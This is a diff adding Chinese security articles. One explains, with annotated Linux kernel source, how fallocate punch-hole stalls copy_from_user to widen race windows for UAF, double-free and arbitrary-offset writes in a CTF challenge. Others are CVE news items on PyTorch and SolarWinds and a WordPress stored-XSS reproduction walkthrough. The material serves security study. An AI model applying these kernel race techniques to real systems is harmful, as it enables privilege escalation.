huge_pmd_set_accessed(&vmf);return 0; } } }/* 步骤4: 都不是大页,处理普通页(4KB),检查 PTE */return handle_pte_fault(&vmf);}
+```
+
+### handle_pte_fault
+- 获取 pte 检查是否为空(pte_none),如果为空则调用 do_pte_missing()
+
+```
+/** * handle_pte_fault - 处理 PTE(页表项)级别的页错误 * @vmf: 页错误描述结构体 * * 功能说明: * 这是页表遍历的最后一级,负责检查和处理 PTE 的状态。 * 对于 punch hole 场景,PTE 为空(pte_none),表示页面未映射。 * * PTE 状态检查和处理: * 1. pte_none() - PTE 为空(页面未映射) * → 调用 do_pte_missing() → do_fault() → shmem_fault() * → 这是 punch hole 场景的路径! * * 2. !pte_present() - PTE 存在但不是 present(页面在 swap) * → 调用 do_swap_page() 从 swap 换入页面 * * 3. pte_protnone() - PTE 存在但权限不足(NUMA 页面) * → 调用 do_numa_page() 处理 NUMA 迁移 * * 4. pte_present() - PTE 存在且有效 * → 检查写权限,处理写时复制(COW)或更新访问标志 * * 对于 punch hole 攻击: * 当访问被 fallocate PUNCH_HOLE 打洞的地址时: * - PTE 为空(pte_none),vmf->pte 被设置为 NULL * - 调用 do_pte_missing() 处理缺失的页面 * - 最终会调用文件系统的 fault 处理函数 */static vm_fault_t handle_pte_fault(struct vm_fault *vmf){ pte_t entry;if (unlikely(pmd_none(*vmf->pmd))) {/* * Leave __pte_alloc() until later: because vm_ops->fault may * want to allocate huge page, and if we expose page table * for an instant, it will be difficult to retract from * concurrent faults and from rmap lookups. */ vmf->pte = NULL; vmf->flags &= ~FAULT_FLAG_ORIG_PTE_VALID; } else {/* * A regular pmd is established and it can't morph into a huge * pmd by anon khugepaged, since that takes mmap_lock in write * mode; but shmem or file collapse to THP could still morph * it into a huge pmd: just retry later if so. *//* 获取 PTE 指针 */ vmf->pte = pte_offset_map_nolock(vmf->vma->vm_mm, vmf->pmd, vmf->address, &vmf->ptl);if (unlikely(!vmf->pte))return 0;/* 读取 PTE 的值(无锁读取) */ vmf->orig_pte = ptep_get_lockless(vmf->pte); vmf->flags |= FAULT_FLAG_ORIG_PTE_VALID;/* 关键检查:如果 PTE 为空(页面未映射,例如被 punch hole) */if (pte_none(vmf->orig_pte)) {pte_unmap(vmf->pte); vmf->pte = NULL; /* 标记 PTE 不存在 */ } }/* 情况1: PTE 为空(页面未映射)- punch hole 场景走这里 */if (!vmf->pte)return do_pte_missing(vmf);/* 情况2: PTE 存在但不是 present(页面在 swap 中) */if (!pte_present(vmf->orig_pte))return do_swap_page(vmf);/* 情况3: PTE 存在但权限不足(NUMA 页面) */if (pte_protnone(vmf->orig_pte) && vma_is_accessible(vmf->vma))return do_numa_page(vmf);spin_lock(vmf->ptl); entry = vmf->orig_pte;if (unlikely(!pte_same(ptep_get(vmf->pte), entry))) {update_mmu_tlb(vmf->vma, vmf->address, vmf->pte); goto unlock; }if (vmf->flags & (FAULT_FLAG_WRITE | FAULT_FLAG_UNSHARE)) {if (!pte_write(entry))return do_wp_page(vmf);else if (likely(vmf->flags & FAULT_FLAG_WRITE)) entry = pte_mkdirty(entry); } entry = pte_mkyoung(entry);if (ptep_set_access_flags(vmf->vma, vmf->address, vmf->pte, entry, vmf->flags & FAULT_FLAG_WRITE)) {update_mmu_cache_range(vmf, vmf->vma, vmf->address, vmf->pte,1); } else {/* Skip spurious TLB flush for retried page fault */if (vmf->flags & FAULT_FLAG_TRIED) goto unlock;/* * This is needed only for protection faults but the arch code * is not yet telling us if this is a protection fault or not. * This still avoids useless tlb flushes for .text page faults * with threads. */if (vmf->flags & FAULT_FLAG_WRITE)flush_tlb_fix_spurious_fault(vmf->vma, vmf->address, vmf->pte); }unlock:pte_unmap_unlock(vmf->pte, vmf->ptl);return 0;}
+```
+
+### do_pte_missing
+- 若为 swap,调用 do_swap_page()
+
+- 对于 shmem 文件映射,通常走 do_pte_missing[do_pte_missing() → do_fault()]
+
+```
+/** * do_pte_missing - 处理 PTE 为空(页面未映射)的情况 * @vmf: 页错误描述结构体 * * 功能说明: * 当 handle_pte_fault() 检测到 PTE 为空时调用此函数。 * 这是 punch hole 攻击场景的关键路径。 * * 处理逻辑: * - 匿名 VMA(匿名内存映射):调用 do_anonymous_page() 分配新页面 * - 文件映射 VMA(如 shmem 文件):调用 do_fault() 处理文件页错误 * * 对于 punch hole 场景: * - shmem 文件映射走 do_fault() 路径 * - 最终会调用 shmem_fault(),检测到正在打洞时会阻塞等待 */static vm_fault_t do_pte_missing(struct vm_fault *vmf){ if (vma_is_anonymous(vmf->vma)) return do_anonymous_page(vmf); else return do_fault(vmf);}
+```
+
+### do_fault
+- 读操作走 do_read_fault,写操作根据是否共享选择 do_cow_fault 或 do_shared_fault
+
+- 当然我们这里是走 copy_from_user 是读操作,走 do_read_fault ( do_read_fault -> _do_fault )
+
+```
+/** * do_fault - 处理文件映射的页错误 * @vmf: 页错误描述结构体 * * 功能说明: * 当 do_pte_missing() 检测到是文件映射(非匿名)时调用此函数。 * 根据访问类型(读/写)和 VMA 属性(共享/私有)选择不同的处理路径。 * * 处理路径: * 1. 没有 fault 处理函数:返回错误 * 2. 读操作(copy_from_user 是读): * → do_read_fault() → __do_fault() → vma->vm_ops->fault() * → 对于 shmem: shmem_fault() * 3. 写操作 + 私有映射(COW): * → do_cow_fault() 写时复制 * 4. 写操作 + 共享映射: * → do_shared_fault() 共享写入 * * 对于 punch hole 场景: * - copy_from_user 是读操作,走 do_read_fault() 路径 * - 最终调用 shmem_fault(),检测到正在打洞时会阻塞 */static vm_fault_t do_fault(struct vm_fault *vmf){struct vm_area_struct *vma = vmf->vma;struct mm_struct *vm_mm = vma->vm_mm; vm_fault_t ret;/* * The VMA was not fully populated on mmap() or missing VM_DONTEXPAND */if (!vma->vm_ops->fault) { vmf->pte = pte_offset_map_lock(vmf->vma->vm_mm, vmf->pmd, vmf->address, &vmf->ptl);if (unlikely(!vmf->pte)) ret = VM_FAULT_SIGBUS;else {/* * Make sure this is not a temporary clearing of pte * by holding ptl and checking again. A R/M/W update * of pte involves: take ptl, clearing the pte so that * we don't have concurrent modification by hardware * followed by an update. */if (unlikely(pte_none(ptep_get(vmf->pte)))) ret = VM_FAULT_SIGBUS;else ret = VM_FAULT_NOPAGE;pte_unmap_unlock(vmf->pte, vmf->ptl); } } else if (!(vmf->flags & FAULT_FLAG_WRITE))/* 读操作:copy_from_user 走这里 */ ret = do_read_fault(vmf);else if (!(vma->vm_flags & VM_SHARED))/* 写操作 + 私有映射:写时复制 */ ret = do_cow_fault(vmf);else/* 写操作 + 共享映射:共享写入 */ ret = do_shared_fault(vmf);/* preallocated pagetable is unused: free it */if (vmf->prealloc_pte) {pte_free(vm_mm, vmf->prealloc_pte); vmf->prealloc_pte = NULL; }return ret;}
+```
+
+### __do_fault -> vma->vm_ops->fault
+> 然后如果我们是 shmem_fault 调用的则指向 shmem_fault
+
+
+```
+static vm_fault_t __do_fault(struct vm_fault *vmf){struct vm_area_struct *vma = vmf->vma;struct folio *folio; vm_fault_t ret;/* * Preallocate pte before we take page_lock because this might lead to * deadlocks for memcg reclaim which waits for pages under writeback: * lock_page(A) * SetPageWriteback(A) * unlock_page(A) * lock_page(B) * lock_page(B) * pte_alloc_one * shrink_folio_list * wait_on_page_writeback(A) * SetPageWriteback(B) * unlock_page(B) * # flush A, B to clear the writeback */if (pmd_none(*vmf->pmd) && !vmf->prealloc_pte) { vmf->prealloc_pte = pte_alloc_one(vma->vm_mm);if (!vmf->prealloc_pte)return VM_FAULT_OOM; } ret = vma->vm_ops->fault(vmf);if (unlikely(ret & (VM_FAULT_ERROR | VM_FAULT_NOPAGE | VM_FAULT_RETRY | VM_FAULT_DONE_COW)))return ret; folio = page_folio(vmf->page);if (unlikely(PageHWPoison(vmf->page))) { vm_fault_t poisonret = VM_FAULT_HWPOISON;if (ret & VM_FAULT_LOCKED) {if (page_mapped(vmf->page))unmap_mapping_folio(folio);/* Retry if a clean folio was removed from the cache. */if (mapping_evict_folio(folio->mapping, folio)) poisonret = VM_FAULT_NOPAGE;folio_unlock(folio); }folio_put(folio); vmf->page = NULL;return poisonret; }if (unlikely(!(ret & VM_FAULT_LOCKED)))folio_lock(folio);elseVM_BUG_ON_PAGE(!folio_test_locked(folio), vmf->page);return ret;}
+```
+
+### shmem_fault (检查是否正在打洞)
+- inode->i_private 非空表示正在打洞
+
+- 调用 shmem_falloc_wait() 等待打洞完成
+
+```
+/** * shmem_falloc_wait - 等待 fallocate PUNCH_HOLE 操作完成 * @vmf: 页错误描述结构体 * @inode: shmem 文件的 inode * * 功能说明: * 这是 punch hole 攻击的核心函数! * 当 shmem_fault() 检测到正在打洞时调用此函数。 * * 处理流程: * 1. 检查当前页号是否在打洞范围内 * 2. 准备等待队列,设置线程状态为 TASK_UNINTERRUPTIBLE * 3. 调用 schedule() 让出 CPU,线程被阻塞 * 4. 等待打洞线程完成并调用 wake_up_all() 唤醒 * 5. 清理等待状态,返回 VM_FAULT_RETRY 重试 * * 攻击利用: * 在 schedule() 阻塞期间: * - copy_from_user 所在的线程被阻塞 * - 攻击者可以利用这个时间窗口进行堆操作 * - 例如:在 free 后、置空前进行 UAF 或 Double Free * * 时间窗口: * - 从 schedule() 调用开始,到打洞完成并 wake_up_all() 为止 * - 这个时间窗口足够长,可以进行多次堆操作 */static vm_fault_t shmem_falloc_wait(struct vm_fault *vmf, struct inode *inode){struct shmem_falloc *shmem_falloc;struct file *fpin = NULL; vm_fault_t ret = 0;spin_lock(&inode->i_lock); shmem_falloc = inode->i_private;/* 检查:当前页号是否在打洞范围内 */if (shmem_falloc && shmem_falloc->waitq && vmf->pgoff >= shmem_falloc->start && vmf->pgoff < shmem_falloc->next) { wait_queue_head_t *shmem_falloc_waitq;DEFINE_WAIT_FUNC(shmem_fault_wait, synchronous_wake_function); ret = VM_FAULT_NOPAGE; fpin = maybe_unlock_mmap_for_io(vmf, NULL); shmem_falloc_waitq = shmem_falloc->waitq;/* 步骤1: 准备等待,设置线程状态为不可中断睡眠 */prepare_to_wait(shmem_falloc_waitq, &shmem_fault_wait, TASK_UNINTERRUPTIBLE);spin_unlock(&inode->i_lock);/* 步骤2: 关键阻塞点 - 让出 CPU,线程被阻塞 *//* 攻击者可以利用这个时间窗口进行堆操作! */schedule();/* * shmem_falloc_waitq points into the shmem_fallocate() * stack of the hole-punching task: shmem_falloc_waitq * is usually invalid by the time we reach here, but * finish_wait() does not dereference it in that case; * though i_lock needed lest racing with wake_up_all(). *//* 步骤3: 打洞完成,被唤醒,清理等待状态 */spin_lock(&inode->i_lock);finish_wait(shmem_falloc_waitq, &shmem_fault_wait); }spin_unlock(&inode->i_lock);if (fpin) {fput(fpin);/* 返回 RETRY,让调用者重试页错误处理 */ ret = VM_FAULT_RETRY; }return ret;}
+```
+
+### shmem_falloc_wait (核心)
+> 然后这里会返回 VM_FAULT_RETRY 标签
+
+- 检查当前页号是否在打洞范围内
+
+- prepare_to_wait() + schedule() 使线程进入不可中断睡眠
+
+- 等待期间,内核线程被阻塞,为攻击者提供时间窗口
+
+- 打洞完成后,wake_up_all() 唤醒等待线程
+
+```
+static vm_fault_t shmem_falloc_wait(struct vm_fault *vmf, struct inode *inode){struct shmem_falloc *shmem_falloc;struct file *fpin = NULL; vm_fault_t ret = 0;spin_lock(&inode->i_lock); shmem_falloc = inode->i_private;// 关键检查: 确认正在打洞,且当前页在打洞范围内if (shmem_falloc && shmem_falloc->waitq && vmf->pgoff >= shmem_falloc->start && vmf->pgoff < shmem_falloc->next) { wait_queue_head_t *shmem_falloc_waitq;DEFINE_WAIT_FUNC(shmem_fault_wait, synchronous_wake_function); ret = VM_FAULT_NOPAGE; fpin = maybe_unlock_mmap_for_io(vmf, NULL); shmem_falloc_waitq = shmem_falloc->waitq;// 关键步骤1: 准备等待prepare_to_wait(shmem_falloc_waitq, &shmem_fault_wait, TASK_UNINTERRUPTIBLE);spin_unlock(&inode->i_lock);// 关键步骤2: 调用 schedule() 让出 CPU,线程被阻塞// 这里就是"慢页面错误"的关键!// 线程会一直等待,直到打洞完成并调用 wake_up_all()schedule();/* * shmem_falloc_waitq points into the shmem_fallocate() * stack of the hole-punching task: shmem_falloc_waitq * is usually invalid by the time we reach here, but * finish_wait() does not dereference it in that case; * though i_lock needed lest racing with wake_up_all(). */// 防止在打洞期间将页面错误处理到洞中,避免打洞无法完成// 使用等待队列而非互斥锁,因为不能在 fault 处理中持有 i_rwsemspin_lock(&inode->i_lock);finish_wait(shmem_falloc_waitq, &shmem_fault_wait); }spin_unlock(&inode->i_lock);if (fpin) {fput(fpin); ret = VM_FAULT_RETRY; // 返回 RETRY,让调用者重试 }return ret;}
+```
+
+### 重试
+
+可能有点啰嗦,但是我们需要注意的是当 shmem_falloc_wait 调用后会返回 VM_FAULT_RETRY 给do_user_addr_fault() ,然后重新调用一次 handle_mm_fault .那么我们就可以利用这一点,一直尝试打洞,这样就可以提高利用的成功率。可以发现还是能拖延很多次调用时间的.成功率较大。那么我们利用这个条件竞争就可以比较轻松打出doublefree或者UAF。
+
+
+**07******
+
+**小trick 任意offset读写**
+
+> 然后也是听 Tplus 大佬那里学到了一个关于 punch hole 实现任意 offset 读写的小trick。感觉特别强,在这里做分享。
+
+
+前面讲到了 punch hole,我们拥有了延迟 copy_from_user 的能力,那么进一步扩展这个能力我们可以得到什么?
+
+先回到题目中
+
+```
+ case 322376505: v8 = allocated_objects[v9.index];if ( !v8 )return -1;if ( v9.length > 0x7FFFFFFFuLL ) BUG();return -(copy_from_user(v8, v9.buf, v9.length) != 0);
+```
+
+- 我们可以看见这里有个写入操作,正常情况下我们理解都是只能obj的头开始写入的。
+
+### 原理
+> 当然这个题目本身是可以完成DoubleFree这种更好用的原语,但是如果我们非得用UAF的情况下挑战自己有没有什么比较好的办法实现提权捏?那么这里就是关键,我们可以将我们的buf刚好卡在两个Page的中间,让第一个Page是正常的page,第二个page是处于hole中的。
+> 本质是利用 copy_from_user 的非原子性,通过 Fallocate/Hole 制造时间窗口,在 Stall 期间释放旧对象并分配新对象,最终实现“保护头部、修改尾部”的攻击效果。
+
+
+那么有什么作用?首先就是v8先是我们正常的obj,然后触发copy_from_user正常进行读操作,随后访问到第二个Page的时候,由于是hole所以会触发缺页中断并且等待打洞完成。(如图)
+
+
+
+
+那么这个时候我们快速释放掉这个Obj,并且堆喷上我们的目标结构体,那么此时obj已经变成我们的目标obj了但是copy_from_user的offset不会改变。所以就会直接改写对应offset的内存。
+
+
+
+
+### 时序图
+
+
+
+
+
+参考文章
+- https://starlabs.sg/blog/2023/07-a-new-method-for-container-escape-using-file-based-dirtycred/
+
+- https://blog.csdn.net/wwyyxx26/article/details/154435644
+
+##
+
+
+
+
+看雪ID:
+Elenia
+
+https://bbs.kanxue.com/user-home-994584.htm
+
+*本文为看雪论坛精华文章,由
+Elenia
+
+原创,转载请注明来自看雪社区
+
+[](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458607711&idx=2&sn=f04e1949cdca723266d3e7383cda04be&scene=21#wechat_redirect)
+
+
+# 往期推荐
+
+[逆向分析某手游基于异常的内存保护](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458607141&idx=1&sn=4bbcad4c23989173b834046f8852b3b4&scene=21#wechat_redirect)
+
+
+[解决Il2cppapi混淆,通杀DumpUnityCs文件](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458606965&idx=1&sn=bf8987b5c86314edd0d5a4a5dd0189dd&scene=21#wechat_redirect)
+
+
+[记录一次Unity加固的探索与实现](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458606979&idx=1&sn=e9fdec9d0ff5c4ede515dc302011b74a&scene=21#wechat_redirect)
+
+
+[DLINK路由器命令注入漏洞从1DAY到0DAY](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458606963&idx=2&sn=c7265f29dd183dd2b5789254e8d3d979&scene=21#wechat_redirect)
+
+
+[量子安全 quantum ctf Global Hyperlink Zone Hack the box](https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458606863&idx=1&sn=01fd80bfa67b7c7b26254022f0d11e81&scene=21#wechat_redirect)
+
+
+
+
+
+
+
+**球分享**
+
+
+
+**球点赞**
+
+
+
+**球在看**
+
+
+
+
+点击阅读原文查看更多
+
diff --git a/doc/2026-01/PyTorch安全模式被RCE漏洞攻破,恶意模型可执行任意代码.md b/doc/2026-01/PyTorch安全模式被RCE漏洞攻破,恶意模型可执行任意代码.md
new file mode 100644
index 00000000..b165eff6
--- /dev/null
+++ b/doc/2026-01/PyTorch安全模式被RCE漏洞攻破,恶意模型可执行任意代码.md
@@ -0,0 +1,71 @@
+# PyTorch安全模式被RCE漏洞攻破,恶意模型可执行任意代码
+ FreeBuf 2026-01-29 10:32
+
+
+
+
+
+
+作为现代深度学习和AI研究核心框架的PyTorch,其开发团队近日修复了一个高危漏洞(CVE-2026-24747,CVSS评分8.8)。该漏洞会破坏PyTorch最受安全关注的功能信任机制——即使启用专门设计的防护设置,攻击者仍能执行任意代码。
+
+
+**Part01**
+## 安全机制失效
+
+
+漏洞存在于weights_only=True反序列化器中,该机制本应确保仅安全加载模型数据而不执行代码。在Python AI领域,torch.load()函数是加载已保存模型检查点的标准工具。由于Python的pickle模块存在可执行任意指令的安全风险,PyTorch专门引入weights_only=True标志,承诺仅加载数据(权重)并阻断可执行代码。
+
+
+**Part02**
+## 漏洞技术细节
+
+
+安全研究人员发现该防护机制存在缺陷。官方公告指出:"weights_only=True反序列化器未能正确验证pickle操作码和存储元数据"。从技术角度看,该漏洞属于内存损坏问题,最终可升级为代码执行。攻击者通过构造恶意检查点文件(.pth)可触发两种特定故障:
+
+- 堆内存损坏:对非字典类型应用SETITEM或SETITEMS操作码
+
+- 存储不匹配:在存档中创建"声明的元素数量与实际数据之间的存储大小不匹配"
+
+当用户加载这个被污染的文件时(误以为受限模式能确保安全),反序列化器将损坏内存,可能导致攻击者劫持受害者进程。
+
+
+**Part03**
+## 对AI供应链的影响
+
+
+该漏洞对AI供应链影响尤为严重,研究人员和工程师经常从Hugging Face或GitHub等公共存储库下载和测试模型检查点。公告警告称:"能够诱使用户加载恶意检查点文件的攻击者,可在受害者进程上下文中实现任意代码执行。"
+
+
+**Part04**
+## 影响范围与修复方案
+
+
+该漏洞影响PyTorch 2.9.1及之前所有版本。PyTorch团队已在2.10.0版本中发布修复补丁,强烈建议开发者和数据科学家立即更新环境,确保其"安全"加载实践真正安全可靠。
+
+
+**参考来源:**
+
+Safety Broken: PyTorch “Safe” Mode Bypassed by Critical RCE Flaw
+
+https://securityonline.info/safety-broken-pytorch-safe-mode-bypassed-by-critical-rce-flaw/
+
+
+###
+###
+###
+
+**推荐阅读**
+
+[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651334591&idx=1&sn=7a53f598d945f86ed376200b93146133&scene=21#wechat_redirect)
+
+
+### 电台讨论
+
+
+
+
+****
+
+
+
+
diff --git a/doc/2026-01/SolarWinds再曝重大RCE漏洞,企业安全团队旧伤复发.md b/doc/2026-01/SolarWinds再曝重大RCE漏洞,企业安全团队旧伤复发.md
new file mode 100644
index 00000000..4f510238
--- /dev/null
+++ b/doc/2026-01/SolarWinds再曝重大RCE漏洞,企业安全团队旧伤复发.md
@@ -0,0 +1,76 @@
+# SolarWinds再曝重大RCE漏洞,企业安全团队旧伤复发
+ FreeBuf 2026-01-29 10:32
+
+
+
+
+
+
+SolarWinds再次曝出旗下广受欢迎产品的安全漏洞。该公司已发布更新补丁,修复其IT服务管理软件Web Help Desk(WHD)中六个关键的身份验证绕过和远程代码执行(RCE)漏洞。
+
+
+这些漏洞可能允许攻击者绕过身份验证、执行远程代码并访问本应受限的功能。六个漏洞中有四个被评为"严重"(CVE严重性评分9.8/10),其余两个为"高危"(评分7.5和8.1)。
+
+
+鉴于WHD产品历史上曾遭实际攻击,管理员应立即升级至Web Help Desk 2026.1版本修补漏洞。"我们已经见识过入侵SolarWinds的后果,"Beauceron Security的David Shipley警告道,"存在巨大的连锁风险,必须尽快完成补丁更新。"
+
+
+**Part01**
+## RCE:安全主管最不愿听到的三个字母
+
+
+SolarWinds声称其全球客户超过30万,包括大量《财富》500强企业及政府国防机构。此次漏洞由watchTowr和Horizon3.ai的研究人员发现,具体包括:
+
+- 远程代码执行与数据反序列化漏洞(CVE-2025-40551和CVE-2025-40553,均为严重级)
+
+- 身份验证绕过漏洞(CVE-2025-40552、CVE-2025-40554为严重级,CVE-2025-40536、CVE-2025-40537为高危级)
+
+CVE-2025-40551和CVE-2025-40553使WHD易受不可信数据反序列化攻击,攻击者无需认证即可在主机执行命令。另两个严重漏洞(CVE-2025-40552和CVE-2025-40554)则可能让攻击者调用本应受认证保护的功能。
+
+
+"数据反序列化可能泄露企业机密,RCE是最糟糕的情况,"Shipley强调。Rapid7研究员Ryan Emmons指出,这些反序列化和认证逻辑缺陷使漏洞利用成功率极高,攻击者可使用标准化恶意载荷控制软件并获取全部存储信息。
+
+
+**Part02**
+## 企业应对措施
+
+
+SolarWinds已提供升级至WHD 2026.1的详细指南。分析师强调安全团队必须立即行动,Emmons建议紧急升级版本并检查服务器异常活动:"这些漏洞很快就会出现武器化利用,时间至关重要。"
+
+
+**Part03**
+## SolarWinds的安全困局
+
+
+这已是WHD产品近年第三次曝出重大漏洞。2024年9月,该公司刚修补了CISA通报的另一个RCE漏洞(CVE-2025-26399)。"就像历史重演,"Shipley表示,五年前重大入侵事件的阴影仍困扰着IT管理者。
+
+
+虽然此次事件与过往漏洞不同,且SolarWinds在RCE漏洞方面表现优于思科和Fortinet,但Shipley指出厂商仅修补漏洞而不解决编程逻辑根源问题的做法不可持续。"我们即将迎来代码系统的'卡特里娜时刻',"他警告道,强调美国当前网络安全监管出现"彻底转向",改善代码质量才是唯一出路。
+
+
+**参考来源:**
+
+SolarWinds, again: Critical RCE bugs reopen old wounds for enterprise security teams
+
+https://www.csoonline.com/article/4124030/solarwinds-again-critical-rce-bugs-reopen-old-wounds-for-enterprise-security-teams.html
+
+
+###
+###
+###
+
+**推荐阅读**
+
+[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651334591&idx=1&sn=7a53f598d945f86ed376200b93146133&scene=21#wechat_redirect)
+
+
+### 电台讨论
+
+
+
+
+****
+
+
+
+
diff --git a/doc/2026-01/WordPress后台存储型XSS 全网首发POC及复现环境(CVE-2025-12067).md b/doc/2026-01/WordPress后台存储型XSS 全网首发POC及复现环境(CVE-2025-12067).md
new file mode 100644
index 00000000..da201c17
--- /dev/null
+++ b/doc/2026-01/WordPress后台存储型XSS 全网首发POC及复现环境(CVE-2025-12067).md
@@ -0,0 +1,158 @@
+# WordPress后台存储型XSS 全网首发POC及复现环境(CVE-2025-12067)
+原创 a1batr0ss
+ a1batr0ss 天翁安全 2026-01-29 09:01
+
+**免责声明:**
+本公众号所发布的全部内容,包括但不限于技术文章、POC脚本、漏洞利用工具及相关测试环境,均仅限于合法的网络安全学习、研究和教学用途。所有人在使用上述内容时,应严格遵守中华人民共和国相关法律法规以及道德伦理要求。未经明确的官方书面授权,严禁将公众号内的任何内容用于未经授权的渗透测试、漏洞利用或攻击行为。 所有人仅可在自己合法拥有或管理的系统环境中进行本地漏洞复现与安全测试,或用于具有明确授权的合法渗透测试项目。所有人不得以任何形式利用公众号内提供的内容从事非法、侵权或其他不当活动。 如因违反上述规定或不当使用本公众号提供的任何内容,造成的一切法律责任、经济损失、纠纷及其他任何形式的不利后果,均由相关成员自行承担,与本公众号无任何关联。
+## 不错过最新的漏洞POC
+
+为保证您可以在第一时间接收到本公众号分享的**漏洞复现及POC**
+信息,建议您在公众号“天翁安全”主页界面将“天翁安全”设为**星标**
+。
+
+
+## 专题介绍
+
+本文为【WordPress专题】的衍生文章,不直接合并入【WordPress专题】,但可配合专题进行学习研究。
+
+【WordPress专题】详细介绍对WordPress框架中**公开Or未公开**
+漏洞的**漏洞挖掘**
+、**代码审计分析**
+及**POC构造**
+。以小见大,通过个性的漏洞总结WordPress中漏洞的共性,实现对WordPress漏洞的全面掌握。
+
+
+
+感兴趣的师傅们可以查看前八篇文章进行共同学习
+- [【WordPress专题01】前台管理员账户创建漏洞(CVE-2025-4334)漏洞分析及POC](https://mp.weixin.qq.com/s?__biz=MzkwMzUyMjk2MQ==&mid=2247484874&idx=1&sn=201d4be14b19110dd810479005c241ea&scene=21#wechat_redirect)
+
+
+- [【WordPress专题02】CVE-2025-2563漏洞分析及POC](https://mp.weixin.qq.com/s?__biz=MzkwMzUyMjk2MQ==&mid=2247484958&idx=1&sn=9cef3027500d25c935256d0e196b70eb&scene=21#wechat_redirect)
+
+
+- [【WordPress专题03】遇到不按规范编写的插件如何进行代码审计?](https://mp.weixin.qq.com/s?__biz=MzkwMzUyMjk2MQ==&mid=2247485055&idx=1&sn=b7ea163ea3178b48f716d6e55941700e&scene=21#wechat_redirect)
+
+
+- [【WordPress专题04】通过漏洞介绍构造CVE-2025-11457的POC](https://mp.weixin.qq.com/s?__biz=MzkwMzUyMjk2MQ==&mid=2247485111&idx=1&sn=73c6db35dd7cfb5b2bc6d51a02497de0&scene=21#wechat_redirect)
+
+
+- [【WordPress专题05】CVE-2025-11499前台文件上传漏洞 全网首发POC及漏洞分析](https://mp.weixin.qq.com/s?__biz=MzkwMzUyMjk2MQ==&mid=2247485207&idx=1&sn=d3a4f5828ccfbb2f68c39c6ce69f7bcf&scene=21#wechat_redirect)
+
+
+- [【WordPress专题06】CVE-2025-13342 选项修改导致的管理员用户注册漏洞POC及漏洞分析](https://mp.weixin.qq.com/s?__biz=MzkwMzUyMjk2MQ==&mid=2247485312&idx=1&sn=0425719767b7010a004d6ea750a6495b&scene=21#wechat_redirect)
+
+
+- [【WordPress专题07】一文搞懂 如何对WordPress进行漏洞探测](https://mp.weixin.qq.com/s?__biz=MzkwMzUyMjk2MQ==&mid=2247485439&idx=1&sn=004f54e713c580101baad71ce543cbb9&scene=21#wechat_redirect)
+
+
+- [【WordPress专题08】全网首发POC及漏洞分析 CVE-2025-15403权限提升漏洞](https://mp.weixin.qq.com/s?__biz=MzkwMzUyMjk2MQ==&mid=2247485513&idx=1&sn=518be0036194ca8ea9183effdc224d5e&scene=21#wechat_redirect)
+
+
+## 漏洞介绍
+
+CVE-2025-12067 是一个影响 WordPress 的安全漏洞,存在于 ACF 和 SCF 插件的 Table Field Add-on 中,该漏洞属于存储型跨站脚本(XSS)。由于插件在表格单元格内容的输入校验和输出转义方面处理不当,导致在 1.3.30 及以下版本中,具有作者及以上权限的已认证用户可以注入任意恶意脚本,这些脚本会在其他用户访问被影响页面时执行,从而可能造成会话劫持、权限提升或敏感信息泄露等安全风险。
+
+
+## 漏洞影响版本
+ | |
|---|
| advanced-custom-fields-table-field | |
## 环境部署
+
+该漏洞所涉及的插件是“Table Field Add-on for ACF and SCF”,这个插件相当于是ACF的一个扩展,但活跃安装数也有5万+。
+
+
+
+其实我觉得这个漏洞最难的点在于搭建能够利用的环境,第一次接触ACF这个插件花了不少时间去熟悉。正好趁着这个机会详细介绍一下“**Advanced Custom Fields**
+”(简称ACF)这个插件(2百万+的活跃安装)。
+
+
+> Advanced Custom Fields(简称 ACF)是 WordPress 中非常流行的一款自定义字段管理插件,它通过直观的界面让开发者和内容编辑人员可以轻松为文章、页面或自定义内容类型**添加结构化的额外字段**
+,如文本、图片、选择器、关系数据等,从而摆脱仅依赖默认编辑器的限制。ACF 能将复杂的数据输入过程简化为可视化配置,并通过简洁的 API 在主题或插件中灵活调用这些字段数据,大幅提升内容建模能力、开发效率和网站的可维护性,因而被广泛应用于企业官网、内容型站点和高度定制化的 WordPress 项目中。
+
+
+从这段介绍来看,这个插件最大的功能在于**添加结构化的额外字段**
+。话不多说,我们用一个简单的事例来开始对这个插件的学习。
+
+首先记得激活这两个插件
+
+
+
+我们在ACF中添加一个新的字段组。
+
+
+
+我们将字段组的名称设置为“身份信息”,第一个字段标签设置为“姓名”,字段名称为“name”(这个是一会**代码引用**
+用到的参数,设置为英文),字段类型为文本。设置完成后点击右上角的“保存设置”。
+
+
+
+第二个字段字段标签设置为“其他资料”,字段名称为“info”,字段类型为Table。设置完成后点击右上角的“保存设置”。(这个是等会漏洞利用会用到的参数)
+
+
+
+最下面还要设置一下规则组,也就是哪些内容会应用你设置的这些字段。这里“文章类型”等于“文章”,代表所有文章都会应用。
+
+
+
+此时如果我们新建一篇文章,文章底部会有我们刚才添加的字段组
+
+
+
+但就算此时我们在字段组中填上具体的值并将文章发布,我们的文章页面中也不会显示相关的内容。
+
+
+
+此时我们需要到“主题文件编辑器”中编辑 single.php
+> 在 WordPress 中,主题编辑器里的 single.php
+ 是**用于控制单篇文章(单条内容)详情页显示方式的模板文件**
+,当用户点击一篇文章进入正文页时,WordPress 会优先使用 single.php
+ 来渲染该页面的结构和内容。
+
+
+
+
+我们在合适的位置添加如下代码(其中 name
+和 info
+是刚才创建两个参数的名称)
+
+
+
+此时我们再去访问 http://127.0.0.1/acf/
+发现已经能看到我们设置的姓名信息和其他资料表格了。
+
+至此,我们已经大致学会了ACF插件的使用流程(搭配Elementor的付费版应该会更简单点,有钱的佬可以尝试),同时漏洞环境也搭建完毕。
+
+
+## 漏洞复现
+
+我们选择一位Author及以上权限的用户,这里选择zuozhe
+
+
+
+登录后我们新建一篇文章
+
+
+
+在“其他资料”表格中任意一栏中输入XSS的Payload,输入完成后点击发布。
+
+
+
+此时任意身份的用户访问 http://127.0.0.1/cve-2025-12067-xss测试/
+界面的用户都会触发这个存储型XSS
+
+
+## 漏洞修复
+
